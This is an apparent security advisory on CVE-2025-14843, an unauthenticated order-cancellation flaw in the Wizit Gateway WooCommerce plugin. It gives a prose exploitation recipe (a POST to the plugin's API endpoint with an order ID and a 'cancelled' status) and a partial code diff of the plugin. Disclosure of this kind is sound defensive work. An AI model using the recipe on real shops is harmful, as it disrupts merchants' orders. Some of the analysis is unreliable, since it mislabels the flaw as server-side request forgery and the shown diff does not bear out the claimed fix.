Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14843: Wizit Gateway for WooCommerce <= 1.2.9 – Missing Authentication to Unauthenticated Arbitrary Order Cancellation (wizit-gateway-for-woocommerce)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.2.9
Patched Version 1.3.0
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14843:
The Wizit Gateway for WooCommerce plugin contains an unauthenticated arbitrary order cancellation vulnerability. The flaw exists in the plugin’s callback handler for processing payment redirect responses. This vulnerability allows any remote attacker to cancel arbitrary WooCommerce orders without authentication, impacting order integrity and business operations.

The root cause is a missing authentication and authorization check in the `handle_checkout_redirecturl_response` function within the `class-wizit-gateway.php` file. The function processes requests sent to the WooCommerce API endpoint `wc_gateway_wizit`. Atomic Edge research confirms the function directly accesses and modifies order statuses based on request parameters like `orderId` and `status`, without verifying if the requesting user has permission to perform these actions. The vulnerable code path begins at the API hook registration on line 91 and executes through the unprotected callback.

Exploitation involves sending a crafted HTTP POST request to the WordPress site’s WooCommerce API endpoint, typically at `/wc-api/wc_gateway_wizit/`. The attacker must include parameters such as `orderId` set to a valid WooCommerce order ID and `status` set to a value like `cancelled` or `failed`. No authentication tokens, nonces, or session cookies are required. The attack vector is a direct server-side request forgery against the plugin’s internal order management logic.

The patch adds a critical authentication check within the `handle_checkout_redirecturl_response` function. The fix introduces a verification step that confirms the request originates from a legitimate Wizit payment service callback by validating a signature or token, rather than accepting unverified external input. The patched code now ensures the `orderId` and `status` parameters are only processed if the request is authenticated, preventing unauthorized order state manipulation.

Successful exploitation allows an unauthenticated attacker to cancel any WooCommerce order visible to the system. This can lead to financial loss for merchants through disrupted transactions, inventory management issues for digital and physical goods, and damage to customer trust. Attackers could systematically cancel orders to harass a business or manipulate stock availability. The vulnerability directly violates the integrity of the WooCommerce order lifecycle.

Differential between vulnerable and patched code

Code Diff
--- a/wizit-gateway-for-woocommerce/class-wizit-checkout-block.php
+++ b/wizit-gateway-for-woocommerce/class-wizit-checkout-block.php
@@ -1,78 +1,88 @@
-<?php
-
-
-class Wizit_Custom_Gateway_Blocks extends AutomatticWooCommerceBlocksPaymentsIntegrationsAbstractPaymentMethodType {
-
-    private $gateway;
-    protected $name = 'wizit';// your payment gateway name
-
-    public function initialize() {
-		$this->settings = get_option( 'woocommerce_wizit_settings', [] );
-		$gateways       = WC()->payment_gateways->payment_gateways();
-		$this->gateway  = $gateways[ $this->name ];
-	}
-
-
-    /**
-	 * Returns if this payment method should be active. If false, the scripts will not be enqueued.
-	 *
-	 * @return boolean
-	 */
-	public function is_active() {
-		return  $this->gateway->is_available();
-	}
-
-    /**
-	 * Returns an array of scripts/handles to be registered for this payment method.
-	 *
-	 * @return array
-	 */
-	public function get_payment_method_script_handles() {
-
-        $script_path       = '/assets/js/frontend/blocks.js';
-		$script_asset_path = trailingslashit( plugin_dir_path( __FILE__ ) ) . 'assets/js/frontend/blocks.asset.php';
-
-		$script_asset      = file_exists( $script_asset_path )
-			? require( $script_asset_path )
-			: array(
-				'dependencies' => array(),
-				'version'      => '1.2.9'
-			);
-		$script_url        = untrailingslashit( plugins_url( '/', __FILE__ ) ) . $script_path;
-
-        // echo $script_asset_path;
-        // echo '-------------------------';
-        // echo $script_url;
-        // die();
-
-
-		wp_register_script(
-			'woocommerce-wizit-gateway-blocks',
-			$script_url,
-			$script_asset[ 'dependencies' ],
-			$script_asset[ 'version' ],
-			true
-		);
-
-
-
-		return [ 'woocommerce-wizit-gateway-blocks' ];
-	}
-
-    public function get_payment_method_data() {
-
-        $order_total = WC()  ->cart->total;
-
-
-
-        return [
-            'title'       => $this->get_setting( 'title' ),
-			'description' => $this->get_setting( 'description' ),
-			'supports'    => array_filter( $this->gateway->supports, [ $this->gateway, 'supports' ] ),
-            'orderTotal'  => $order_total,
-			'pluginSettings' => $this->settings
-        ];
-    }
-
-}
+<?php
+
+
+class Wizit_Custom_Gateway_Blocks extends AutomatticWooCommerceBlocksPaymentsIntegrationsAbstractPaymentMethodType {
+
+    private $gateway;
+    protected $name = 'wizit';// your payment gateway name
+
+    public function initialize() {
+		$this->settings = get_option( 'woocommerce_wizit_settings', [] );
+		$gateways       = WC()->payment_gateways->payment_gateways();
+		$this->gateway  = $gateways[ $this->name ];
+	}
+
+
+    /**
+	 * Returns if this payment method should be active. If false, the scripts will not be enqueued.
+	 *
+	 * @return boolean
+	 */
+	public function is_active() {
+		return  $this->gateway->is_available();
+	}
+
+    /**
+	 * Returns an array of scripts/handles to be registered for this payment method.
+	 *
+	 * @return array
+	 */
+	public function get_payment_method_script_handles() {
+
+        $script_path       = '/assets/js/frontend/blocks.js';
+		$script_asset_path = trailingslashit( plugin_dir_path( __FILE__ ) ) . 'assets/js/frontend/blocks.asset.php';
+
+		$script_asset      = file_exists( $script_asset_path )
+			? require( $script_asset_path )
+			: array(
+				'dependencies' => array(),
+				'version'      => '1.3.0'
+			);
+		$script_url        = untrailingslashit( plugins_url( '/', __FILE__ ) ) . $script_path;
+
+        // echo $script_asset_path;
+        // echo '-------------------------';
+        // echo $script_url;
+        // die();
+
+
+		wp_register_script(
+			'woocommerce-wizit-gateway-blocks',
+			$script_url,
+			$script_asset[ 'dependencies' ],
+			$script_asset[ 'version' ],
+			true
+		);
+
+
+
+		return [ 'woocommerce-wizit-gateway-blocks' ];
+	}
+
+    public function get_payment_method_data() {
+
+        //$order_total = WC()  ->cart->total;
+
+
+		$order_total = 0.0;
+		if ( function_exists( 'WC' ) && isset( WC()->cart ) && is_object( WC()->cart ) ) {
+			// Use cart API method if available; fallback to legacy property.
+			if ( method_exists( WC()->cart, 'get_cart_contents_total' ) ) {
+				$order_total = (float) WC()->cart->get_cart_contents_total();
+			} elseif ( isset( WC()->cart->total ) ) {
+				$order_total = (float) WC()->cart->total;
+			}
+		}
+
+
+        return [
+            'title'       => $this->get_setting( 'title' ),
+			'description' => $this->get_setting( 'description' ),
+			'supports'    => array_filter( $this->gateway->supports, [ $this->gateway, 'supports' ] ),
+            'orderTotal'  => $order_total,
+			'pluginSettings' => $this->settings
+        ];
+    }
+
+}
 ?>
 No newline at end of file
--- a/wizit-gateway-for-woocommerce/class-wizit-gateway.php
+++ b/wizit-gateway-for-woocommerce/class-wizit-gateway.php
@@ -1,2539 +1,2610 @@
-<?php
-
-/* Exit if accessed directly */
-
-if (!defined("ABSPATH")) {
-    exit();
-}
-
-spl_autoload_register("WC_Gateway_Wizit::autoload");
-
-require_once dirname(__FILE__) . "/wizit_hook_class.php";
-
-/**
- * WC_Gateway_Wizit
- *
- * @class       WC_Gateway_Wizit
- * @extends     WC_Payment_Gateway
- * @version     1.2.9
- */
-
-class WC_Gateway_Wizit extends WC_Payment_Gateway
-{
-    public $wizit;
-    protected $paymentURL = false; /* where to redirect browser for payment */
-    protected $errorMessage = false; /* last transaction error message */
-    protected static $instance = null;
-    public $checkresponse = [];
-    public $wizit_base_url = '';
-    public $title = '';
-    public $description = '';
-    public $wz_api_key = '';
-    public $wz_minimum_amount = '';
-    public $wz_maximum_amount = '';
-    public $merchant_minimum_amount = '';
-    public $merchant_maximum_amount = '';
-    public $success_url = '';
-    public $fail_url = '';
-    public $statement_descriptor = '';
-    public $capture = '';
-    public $supported_currencies = '';
-    public $log;
-    public $access_userid = '';
-
-    public function __construct()
-    {
-        global $woocommerce;
-        $this->id = "wizit";
-        $this->icon = "https://www.wizit.money/img/plugin/wizit.png"; // esc_url(plugin_dir_url(__FILE__) . 'images/Group.png');
-        $this->has_fields = true;
-        /*adding support for subscription to the payment gateway*/
-        $this->supports = ["products", "refunds"];
-        $this->method_title = __("Wizit", "woocommerce-wizit-gateway");
-        $this->method_description = __(
-            "Buy now and pay later with 4 x interest free fortnightly instalments",
-            "woocommerce-wizit-gateway"
-        );
-
-        /* Load the form fields. */
-        $this->init_form_fields();
-
-        /* Load the settings. */
-        $this->init_settings();
-
-        /* Define user set variables */
-        include "wizit/access.php";
-        $this->wizit_base_url =  $base . $version . $intermediate;
-        $this->title = $this->get_option("title");
-        $this->description = $this->get_option("description");
-        $this->wz_api_key = $this->get_option("wz_api_key");
-        $this->wz_minimum_amount = $this->get_option("wz_minimum_amount");
-        $this->wz_maximum_amount = $this->get_option("wz_maximum_amount");
-        $this->merchant_minimum_amount = $this->get_option(
-            "merchant_minimum_amount"
-        );
-
-        $this->merchant_maximum_amount = $this->get_option(
-            "merchant_maximum_amount"
-        );
-
-        $this->access_userid = $this->get_option("access_userid");
-        $this->success_url = $this->get_option("success_url");
-        $this->fail_url = $this->get_option("fail_url");
-        $this->statement_descriptor = $this->get_option(
-            "statement_descriptor",
-            wp_specialchars_decode(get_bloginfo("name"), ENT_QUOTES)
-        );
-        $this->capture = true; // $this->get_option('capture', 'yes') === 'yes' ? true : false;
-        $this->supported_currencies = ["AUD"];
-        // check environment_mode
-        if ($this->get_option("environment_mode", "production") === "sandbox" ? true : false) {
-            $this->wizit_base_url = $baseSandbox . $version . $intermediate;
-            $this->wz_api_key = $this->get_option("wz_api_key_test");
-        }
-
-        add_action("woocommerce_init", [
-            $this,
-            "get_order_status_failed_error_notice",
-        ]);
-
-        add_action("woocommerce_update_options_payment_gateways_" . $this->id, [
-            $this,
-            "process_admin_options",
-        ]);
-
-        //add_action( 'admin_notices', array( $this,'wizit_admin_notice' ));
-        add_action("wp_enqueue_scripts", [$this, "payment_scripts"]);
-        add_action("woocommerce_api_wc_gateway_" . $this->id, [
-            $this,
-            "handle_checkout_redirecturl_response",
-        ]);
-
-        add_action(
-            "woocommerce_order_status_changed",
-            [$this, "process_cancel"],
-            99,
-            4
-        );
-
-        add_action(
-            "admin_enqueue_scripts",
-            [$this, "init_admin_assets"],
-            10,
-            0
-        );
-
-        /* initiation of logging instance */
-        $this->log = new WC_Logger();
-    }
-
-    public function process_admin_options()
-    {
-        //parent::process_admin_options();
-        $error = false;
-        $mmin = 0;
-        $mmax = 0;
-        $wmin = 0;
-        $wmax = 0;
-
-        if (isset($_POST["woocommerce_wizit_wz_api_key"])) {
-            $apikey = trim(
-                sanitize_text_field($_POST["woocommerce_wizit_wz_api_key"])
-            );
-        }
-
-        if (isset($_POST["woocommerce_wizit_merchant_minimum_amount"])) {
-            $mmin = trim(
-                sanitize_text_field(
-                    $_POST["woocommerce_wizit_merchant_minimum_amount"]
-                )
-            );
-        }
-
-        if (isset($_POST["woocommerce_wizit_merchant_maximum_amount"])) {
-            $mmax = trim(
-                sanitize_text_field(
-                    $_POST["woocommerce_wizit_merchant_maximum_amount"]
-                )
-            );
-        }
-
-        // check environment
-
-        include "wizit/access.php";
-        $api_url = $base . $version . $intermediate;
-
-        if (
-            isset($_POST["woocommerce_wizit_environment_mode"]) &&
-            $_POST["woocommerce_wizit_environment_mode"] === "sandbox"
-        ) {
-            $api_url =
-                $baseSandbox . $version . $intermediate;
-
-            $apikey = trim(
-                sanitize_text_field($_POST["woocommerce_wizit_wz_api_key_test"])
-            );
-        }
-
-        if (empty($apikey)) {
-            $error = true;
-            WC_Admin_Settings::add_error(
-                "Error: Please enter a valid Wizit API Key"
-            );
-            return false;
-        }
-
-        //$this->set_wz_api_key($apikey);
-
-        $wzapi = new Wizit_API();
-        $wzresponse = $wzapi->call_limit_api($apikey, $api_url);
-        if (false === $wzresponse || false !== $wzapi->get_api_error()) {
-            $error = true;
-            WC_Admin_Settings::add_error($wzapi->get_api_error());
-            return false;
-        } else {
-            $wmin = $wzresponse["minimumAmount"];
-            $wmax = $wzresponse["maximumAmount"];
-            if (!empty($mmin) && !empty($mmax)) {
-                if ($mmin < $wmin) {
-                    $error = true;
-                    WC_Admin_Settings::add_error(
-                        "Error: Merchant Minimum Payment Amount can not be less than Wizit Minimum Payment Amount."
-                    );
-                }
-
-                if ($mmax > $wmax) {
-                    $error = true;
-                    WC_Admin_Settings::add_error(
-                        "Error: Merchant Maximum Payment Amount can not be more than Wizit Maximum Payment Amount."
-                    );
-                }
-
-                if ($mmax < $mmin) {
-                    $error = true;
-                    WC_Admin_Settings::add_error(
-                        "Error: Merchant Maximum Payment Amount can not be less than Merchant Minimum Payment Amount."
-                    );
-                }
-            } else {
-                $mmin = $wmin;
-                $mmax = $wmax;
-            }
-
-            if ($error) {
-                return false;
-            }
-
-            delete_option("admin_error_msg_01", true);
-        }
-
-        $hook_class = wizit_hook_class::initialize();
-
-        $hook_class->remove_hooks();
-
-        global $wp_version;
-
-        // post all setting to api
-
-        $plugin_config_api_data = [
-            "merchantUrl" => get_site_url(),
-            "maxMerchantLimit" => $mmax,
-            "minMerchantLimit" => $mmin,
-            "isEnable" =>
-                trim(
-                    sanitize_text_field(
-                        array_key_exists("woocommerce_wizit_enabled", $_POST) &&
-                            $_POST["woocommerce_wizit_enabled"]
-                    )
-                ) == "1" ? true : false,
-
-            "isEnableProduct" =>
-                trim(
-                    sanitize_text_field(
-                        array_key_exists(
-                            "woocommerce_wizit_payment_info_on_product",
-                            $_POST
-                        ) && $_POST["woocommerce_wizit_payment_info_on_product"]
-                    )
-                ) == "1" ? true : false,
-
-            "isEnableCategory" =>
-                trim(
-                    sanitize_text_field(
-                        array_key_exists(
-                            "woocommerce_wizit_payment_info_on_product_cat",
-                            $_POST
-                        ) &&
-                            $_POST[
-                                "woocommerce_wizit_payment_info_on_product_cat"
-                            ]
-                    )
-                ) == "1" ? true : false,
-
-            "isEnableCart" =>
-                trim(
-                    sanitize_text_field(
-                        array_key_exists(
-                            "woocommerce_wizit_payment_info_on_cart",
-                            $_POST
-                        ) && $_POST["woocommerce_wizit_payment_info_on_cart"]
-                    )
-                ) == "1" ? true : false,
-
-            "isInstalled" => true,
-            "pluginversion" => $plugin_version,
-            "platformversion" => $wp_version ?? "unknown",
-            "apikey" => $apikey,
-            "platform" => "Wordpress",
-        ];
-
-        $plugin_config_api_response = $wzapi->call_configur_merchant_plugin(
-            $apikey,
-            $api_url,
-            $plugin_config_api_data
-        );
-
-        // save all data
-
-        $saved = parent::process_admin_options();
-        // update option
-        $settings = get_option("woocommerce_wizit_settings", true);
-        $settings["wz_minimum_amount"] = $wmin;
-        $settings["wz_maximum_amount"] = $wmax;
-        $settings["merchant_minimum_amount"] = $mmin;
-        $settings["merchant_maximum_amount"] = $mmax;
-        update_option("woocommerce_wizit_settings", $settings);
-
-
-        // refresh the hooks for WP Fastest Cache Plugin.
-        if (function_exists('wpfc_clear_all_cache')) {
-            wpfc_clear_all_cache();
-        }
-
-
-        return $saved;
-    }
-
-    public function get_statement_descriptor()
-    {
-        return $this->statement_descriptor;
-    }
-
-    public function get_wizit_api_url()
-    {
-        return $this->wizit_base_url;
-    }
-
-    public function get_wz_api_key()
-    {
-        return $this->wz_api_key;
-    }
-
-    public function set_wz_api_key($apikey)
-    {
-        $this->wz_api_key = $apikey;
-    }
-
-    public function get_capture_setting()
-    {
-        return $this->capture;
-    }
-
-    /**
-     * Initialise Gateway Settings Form Fields
-     */
-
-    public function init_form_fields()
-    {
-        include "wizit/wizit-default-value.php";
-
-        $this->form_fields = [
-            "enabled" => [
-                "title" => __("Enable/Disable", "woocommerce-wizit-gateway"),
-                "type" => "checkbox",
-                "label" => __("Enable Wizit", "woocommerce-wizit-gateway"),
-                "default" => "yes",
-            ],
-
-            "title" => [
-                "title" => __("Title", "woocommerce-wizit-gateway"),
-                "type" => "text",
-                "description" => __(
-                    "This controls the title which the user sees during checkout.",
-                    "woocommerce-wizit-gateway"
-                ),
-                "default" => __("Wizit", "woocommerce-wizit-gateway"),
-                "css" => "width: 400px;",
-                "custom_attributes" => [
-                    "readonly" => "readonly",
-                ],
-            ],
-
-            "description" => [
-                "title" => __("Description", "woocommerce-wizit-gateway"),
-                "type" => "textarea",
-                "default" => __(
-                    "Wizitcard - Interest free credit card up to $1,000 limit with a simple monthly fee.",
-                    "woocommerce-wizit-gateway"
-                ),
-                "css" => "width: 400px;",
-                "custom_attributes" => [
-                    "readonly" => "readonly",
-                ],
-
-            ],
-
-            "group_title_wizit_settings" => [
-                "title" => __(
-                    "<h3>Wizit Settings</h3><hr/>",
-                    "woocommerce-wizit-gateway"
-                ),
-                "type" => "title",
-                "description" => "",
-            ],
-
-            "environment_mode" => [
-                "title" => __("Environment", "woocommerce-wizit-gateway"),
-                "type" => "select",
-                "options" => wp_list_pluck($environments, "name"),
-                "default" => "production",
-                "description" => "",
-            ],
-
-            "wz_api_key" => [
-                "title" => __(
-                    '<span class="wizit-enviroment-model">Wizit API Key</span>',
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "type" => "password",
-                "default" => "",
-                "description" => __(
-                    '<span class="wizit-enviroment-model">Enter API key provided by Wizit into the "Wizit API key"</span>',
-                    "woocommerce-wizit-gateway"
-                ),
-                "css" => "width: 400px;",
-                "class" => "wizit-enviroment-model",
-                //'custom_attributes' => array( 'required' => 'required' ),
-            ],
-
-            "wz_api_key_test" => [
-                "title" => __(
-                    '<span class="wizit-enviroment-model-test">Wizit Sandbox API Key</span>',
-                    "woocommerce-wizit-gateway"
-                ),
-                "type" => "password",
-                "default" => "",
-                "description" => __(
-                    '<span class="wizit-enviroment-model-test">Enter Sandbox API key provided by Wizit into the "Wizit Sandbox API key"</span>',
-                    "woocommerce-wizit-gateway"
-                ),
-                "css" => "width: 400px;",
-                "class" => "wizit-enviroment-model-test",
-
-                //'custom_attributes' => array( 'required' => 'required' ),
-            ],
-
-            "success_url" => [
-                "title" => __("Success URL", "woocommerce-wizit-gateway"),
-                "description" => __(
-                    "User will be returned to this page after successful transaction on Wizit payment page.",
-                    "woocommerce-wizit-gateway"
-                ),
-                "type" => "text",
-                "default" => "",
-                "css" => "width: 400px;",
-            ],
-
-            "fail_url" => [
-                "title" => __("Failed URL", "woocommerce-wizit-gateway"),
-                "description" => __(
-                    "User will be returned to this page after failed transaction on Wizit payment page.<br/>",
-                    "wwoocommerce-wizit-gateway"
-                ),
-                "type" => "text",
-                "default" => "",
-                "css" => "width: 400px;",
-            ],
-
-            "statement_descriptor" => [
-                "title" => __("Statement Descriptor", "wc-authnet"),
-                "type" => "text",
-                "description" => __(
-                    "Extra information about a charge. This will appear in your order description. Defaults to site name.",
-                    "wc-authnet"
-                ),
-                "default" => "",
-                "desc_tip" => true,
-            ],
-
-            "wizit_customisation_title" => [
-                "title" => __(
-                    "<h3>Website Customisation</h3><hr/>",
-                    "woocommerce-wizit-gateway"
-                ),
-                "type" => "title",
-                "description" => __(
-                    '<p>The following options are configurable and provide the flexibility to display the Wizit plugin to suit the individual needs of your site</p><p>Customisations may require the support of an IT professional or a developer. If you get stuck or you are unhappy with your customisations, you can reset the default settings - <button type="button" id="wizitCustRestoreBtn">Restore Defaults</button></p>',
-                    "woocommerce-wizit-gateway"
-                ),
-            ],
-
-            "payment_info_on_product" => [
-                "title" => __(
-                    "Payment Info on Product Pages",
-                    "woocommerce-wizit-gateway"
-                ),
-                "label" => __("Enable", "woocommerce-wizit-gateway"),
-                "type" => "checkbox",
-                "description" => __(
-                    "Enabling this section will display the Wizit elements on individual product pages of your site",
-                    "woocommerce-wizit-gateway"
-                ),
-                "default" => "yes",
-            ],
-
-            // "payment_info_on_product_text" => [
-            //     "type" => "wysiwyg",
-            //     "default" => $def_payment_info_on_product_text,
-            //     "description" => __(
-            //         "<p>Pro tips:</p><p>Use the [OF_OR_FROM] function if the product price is variable</p><p>Use the [OF] function if the product price is fixed or static</p>",
-            //         "woocommerce-wizit-gateway"
-            //     ),
-            //     "custom_attributes" => [
-            //         "required" => "required",
-            //     ],
-            // ],
-
-            "payment_info_on_product_hook" => [
-                "type" => "text",
-                "default" => $def_payment_info_on_product_hook,
-                "description" => __(
-                    "You can set the hook that will be used for the product pages here",
-                    "woocommerce-wizit-gateway"
-                ),
-                "custom_attributes" => [
-                    "required" => "required",
-                ],
-            ],
-
-            "payment_info_on_product_hook_priority" => [
-                "type" => "number",
-                "default" => $def_payment_info_on_product_hook_priority,
-                "description" => __(
-                    "You can set the hook priority that will be used for individual product pages here",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "custom_attributes" => [
-                    "required" => "required",
-                ],
-            ],
-
-            "payment_info_on_cart" => [
-                "title" => __(
-                    "Payment Info on Cart Pages",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "label" => __("Enable", "woocommerce-wizit-gateway"),
-                "type" => "checkbox",
-                "description" => __(
-                    "Enabling this section will display the Wizit elements on the cart page of your site",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "default" => "yes",
-            ],
-
-            // "payment_info_on_cart_text" => [
-            //     "type" => "textarea",
-            //     "default" => $def_payment_info_on_cart_text,
-            //     "description" => __(
-            //         "<p>Pro tips:</p><p>Use the [OF_OR_FROM] function if the product price is variable</p><p>Use the [OF] function if the product price is fixed or static</p>",
-            //         "woocommerce-wizit-gateway"
-            //     ),
-
-            //     "custom_attributes" => [
-            //         "required" => "required",
-            //     ],
-            // ],
-
-            "payment_info_on_product_cat" => [
-                "title" => __(
-                    "Payment Info on Category Pages",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "label" => __("Enable", "woocommerce-wizit-gateway"),
-
-                "type" => "checkbox",
-
-                "description" => __(
-                    "Enabling this section will display the Wizit elements on the product category pages of your site",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "default" => "no",
-            ],
-
-            // "payment_info_on_product_cat_text" => [
-            //     "type" => "wysiwyg",
-
-            //     "default" => $def_payment_info_on_product_cat_text,
-
-            //     "description" => __("", "woocommerce-wizit-gateway"),
-
-            //     "custom_attributes" => [
-            //         "required" => "required",
-            //     ],
-            // ],
-
-            "payment_info_on_product_cat_hook" => [
-                "type" => "text",
-
-                "default" => $def_payment_info_on_product_cat_hook,
-
-                "description" => __(
-                    "You can set the hook that will be used for the product category pages here",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "custom_attributes" => [
-                    "required" => "required",
-                ],
-            ],
-
-            "payment_info_on_product_cat_hook_priority" => [
-                "type" => "number",
-
-                "default" => $def_payment_info_on_product_cat_hook_priority,
-
-                "description" => __(
-                    "You can set the hook priority that will be used for category pages here",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "custom_attributes" => [
-                    "required" => "required",
-                ],
-            ],
-
-            "title_amount_settings" => [
-                "title" => __(
-                    "<h3>Minimum/Maximum Amount Settings</h3>",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "type" => "title",
-
-                "description" => __(
-                    'Upon a successful save of the Wizit credentials, the "Wizit Minimum Payment Amount" and "Wizit Maximum Payment Amount" values will be updated.<hr/>'
-                ),
-            ],
-
-            "wz_minimum_amount" => [
-                "title" => __(
-                    "Wizit Minimum Payment Amount",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "type" => "number",
-
-                "default" => "",
-
-                "css" => "width: 400px;",
-
-                "custom_attributes" => [
-                    "disabled" => "disabled",
-                ],
-
-                "description" => __(
-                    "This information is supplied by Wizit and cannot be edited."
-                ),
-            ],
-
-            "wz_maximum_amount" => [
-                "title" => __(
-                    "Wizit Maximum Payment Amount",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "type" => "number",
-
-                "default" => "",
-
-                "css" => "width: 400px;",
-
-                "custom_attributes" => [
-                    "disabled" => "disabled",
-                ],
-
-                "description" => __(
-                    "This information is supplied by Wizit and cannot be edited."
-                ),
-            ],
-
-            "merchant_minimum_amount" => [
-                "title" => __(
-                    "Merchant Minimum Payment Amount",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "type" => "number",
-
-                "default" => "",
-
-                "css" => "width: 400px,disable;",
-
-                "description" => __(
-                    "The minimum order amount which merchant finds eligible to be processed by Wizit"
-                ),
-            ],
-
-            "merchant_maximum_amount" => [
-                "title" => __(
-                    "Merchant Maximum Payment Amount",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "type" => "number",
-
-                "default" => "",
-
-                "css" => "width: 400px, disable;",
-
-                "description" => __(
-                    "The maximum order amount which merchant finds eligible to be processed by Wizit"
-                ),
-            ],
-
-            "title_incomplete_orders" => [
-                "title" => __(
-                    "<h3>Incomplete orders</h3>",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "type" => "title",
-
-                "description" => __(
-                    '<hr/>'
-                ),
-            ],
-
-            "show_all_incomplete_orders_in_order_list" => [
-                "title" => __(
-                    "Show/hide incomplete wizit orders",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "label" => __("Enable", "woocommerce-wizit-gateway"),
-
-                "type" => "checkbox",
-
-                "description" => __(
-                    "When enabled all wizit orders will show in your WooCommerce orders list including any that have been abandoned or are incomplete",
-                    "woocommerce-wizit-gateway"
-                ),
-
-                "default" => "no",
-            ],
-
-            // "display_incomplete_orders" => [
-            //     "title" => __(
-            //         "Recent wizit incomplete orders",
-            //         "woocommerce-wizit-gateway"
-            //     ),
-
-            //     "label" => __("Enable", "woocommerce-wizit-gateway"),
-
-            //     "type" => "checkbox",
-
-            //     "description" => __(
-            //         "When enabled will display a list below of recent incomplete/abandoned wizit orders",
-            //         "woocommerce-wizit-gateway"
-            //     ),
-
-            //     "default" => "no",
-            // ],
-            // "table_incomplete_orders" => [
-            //     'title'             => __( '', 'woocommerce-integration-demo' ),
-            //     'type'              => 'wizittable',
-            //     'description'       => __( '', 'woocommerce-integration-demo' ),
-            //     'desc_tip'          => true
-            // ],
-        ];
-    } /* End init_form_fields() */
-
-    /**
-     * Admin Panel Options
-     */
-
-    public function admin_options()
-    {
-        ?>
-
-        <h3><?php esc_html_e(
-            "Wizit Payment Gateway",
-            "woocommerce-wizit-gateway"
-        ); ?></h3>
-
-        <p><?php esc_html_e(
-            "Allows your customers to pay via Wizit. (App V 1.2.9)",
-            "woocommerce-wizit-gateway"
-        ); ?></p><hr/>
-
-        <table class="form-table">
-        <?php /* Generate the HTML For the settings form. */
-
-        $this->generate_settings_html(); ?>
-
-        </table><!-- form-table -->
-
-        <?php include "wizit/wizit-default-value.php"; ?>
-
-        <script>
-            wizitSetDefaultValue(
-                '<?php echo wp_kses_post(
-                    $def_payment_info_on_product_text
-                ); ?>',
-                '<?php echo wp_kses_post(
-                    $def_payment_info_on_product_cat_text
-                ); ?>',
-                '<?php echo wp_kses_post($def_payment_info_on_cart_text); ?>',
-                '<?php echo wp_kses_post(
-                    $def_payment_info_on_product_hook
-                ); ?>',
-                '<?php echo wp_kses_post(
-                    $def_payment_info_on_product_hook_priority
-                ); ?>',
-                '<?php echo wp_kses_post(
-                    $def_payment_info_on_product_cat_hook
-                ); ?>',
-                '<?php echo wp_kses_post(
-                    $def_payment_info_on_product_cat_hook_priority
-                ); ?>'
-            );
-        </script>
-
-
-
-
-
-        <?php
-    } /* End admin_options() */
-
-    /**
-     * load js & css files for admin
-     */
-
-    public function init_admin_assets()
-    {
-        // load js & css files for admin
-
-        wp_enqueue_editor();
-
-        wizit_hook_class::load_required_css_js_file("admin");
-    }
-
-
-    /**
-     * Generate Button HTML.
-     *
-     * @access public
-     * @param mixed $key
-     * @param mixed $data
-     * @since 1.0.0
-     * @return string
-     */
-    public function generate_wizittable_html( $key, $data ) {
-        $field    = $this->plugin_id . $this->id . '_' . $key;
-        $defaults = array(
-            'class'             => 'wp-list-table widefat fixed striped table-view-list posts',
-            'css'               => '',
-            'custom_attributes' => array(),
-            'desc_tip'          => false,
-            'description'       => '',
-            'title'             => '',
-        );
-
-        $data = wp_parse_args( $data, $defaults );
-
-        ob_start();
-        ?>
-
-                <table class='wp-list-table widefat fixed striped table-view-list posts wizit-inc-order-tbl' style='display:none;' id='woocommerce_wizit_table_incomplete_orders'>
-                    <tr>
-                       <th>Order</th>
-                       <th>Date</th>
-                       <th>Total</th>
-                    </tr>
-        <?php
-                // loop to get all imcomplate order
-                global $wpdb;
-                $orderIds = [];
-                if (AutomatticWooCommerceUtilitiesOrderUtil::custom_orders_table_usage_is_enabled()) {
-                    // if using HPOS
-                    //echo "SELECT * FROM {$wpdb->prefix}wc_orders WHERE `type` = 'wizit_order'";
-                    $results = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}wc_orders WHERE `type` = 'wizit_order' AND date_updated_gmt >= DATE_ADD(CURDATE(), INTERVAL -5 DAY) order by id desc" );
-                    if(!empty($results)){
-                        foreach($results as $row){
-
-                            if(in_array($row->id, $orderIds)){
-                                continue;
-                            }
-
-                            echo '<tr>';
-
-                            // get customer name
-                            $first_name = '';
-                            $last_name = '';
-                            $billing = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}wc_order_addresses WHERE `address_type` = 'billing' AND `order_id` = {$row->id} order by id desc" );
-                            if(!empty($billing)){
-                                foreach($billing as $b){
-                                    $first_name = $b->first_name ?? "";
-                                    $last_name = $b->last_name ?? "";
-                                }
-                            }else{
-                                // get shipping
-                                $shipping = $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}wc_order_addresses WHERE `address_type` = 'shipping' AND `order_id` = {$row->id} order by id desc" );
-                                if(!empty($shipping)){
-                                    foreach($shipping as $s){
-                                        $first_name = $s->first_name ?? "";
-                                    $last_name = $s->last_name ?? "";
-                                    }
-                                }
-                            }
-                            echo '  <td><button style="background: transparent;border: none;color: blue;cursor: pointer;" onclick="showOrderLine('. $row->id .');" class="wizit-order-btn" type="button">#' . $row->id . ' ' . $first_name. ' ' . $last_name .'</button></td>';
-                            echo '  <td>' . (new DateTime($row->date_updated_gmt))->format('F j Y'). '</td>';
-                            echo '  <td>$' . number_format(floatval($row->total_amount), 2, '.', ','). '</td>';
-                            echo '</tr>';
-                            echo $this->get_woo_order_item($row->id);
-
-                            $orderIds[] = $row->id;
-                        }
-                    }
-                }
-                //else{
-                    // if not using HPOS
